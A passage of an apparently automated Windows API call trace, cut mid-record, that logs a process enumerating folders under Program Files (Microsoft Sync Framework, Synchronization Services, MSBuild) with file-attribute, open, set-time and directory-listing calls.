GetLastError () returned 0x12 [0248.776] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.776] GetLastError () returned 0x12 [0248.776] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.776] GetLastError () returned 0x12 [0248.776] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.777] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.777] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0248.777] GetLastError () returned 0x12 [0248.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.777] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.820] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.820] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.821] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0248.864] GetLastError () returned 0x12 [0248.864] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0248.864] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.872] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.872] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0248.873] GetLastError () returned 0x12 [0248.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0248.873] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.873] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.873] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0248.874] GetLastError () returned 0x12 [0248.874] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.874] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.874] GetLastError () returned 0x12 [0248.874] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.874] GetLastError () returned 0x12 [0248.874] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.874] GetLastError () returned 0x12 [0248.874] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.875] GetLastError () returned 0x12 [0248.875] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.875] GetLastError () returned 0x12 [0248.875] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.875] GetLastError () returned 0x12 [0248.875] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9febc110, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9febc110, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.911] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0248.911] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0248.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0248.911] GetLastError () returned 0x12 [0248.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0248.911] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.912] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.912] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.912] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0248.912] GetLastError () returned 0x12 [0248.912] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0248.912] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.933] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.933] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.935] GetLastError () returned 0x12 [0248.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0248.935] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.936] GetLastError () returned 0x12 [0248.936] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.936] GetLastError () returned 0x12 [0248.936] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.937] GetLastError () returned 0x12 [0248.937] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.937] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.937] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0248.937] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0248.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0248.942] GetLastError () returned 0x12 [0248.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0248.942] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.945] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.945] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.945] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0248.946] GetLastError () returned 0x12 [0248.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0248.946] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.946] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.946] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.946] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.946] GetLastError () returned 0x12 [0248.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.946] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.947] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.947] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.947] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0248.947] GetLastError () returned 0x12 [0248.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.947] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.948] GetLastError () returned 0x12 [0248.948] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.948] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.948] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.948] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.948] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.948] GetLastError () returned 0x12 [0248.948] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0248.948] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.948] GetLastError () returned 0x12 [0248.949] FindClose (in: hFindFile=0x4fd520 | out: 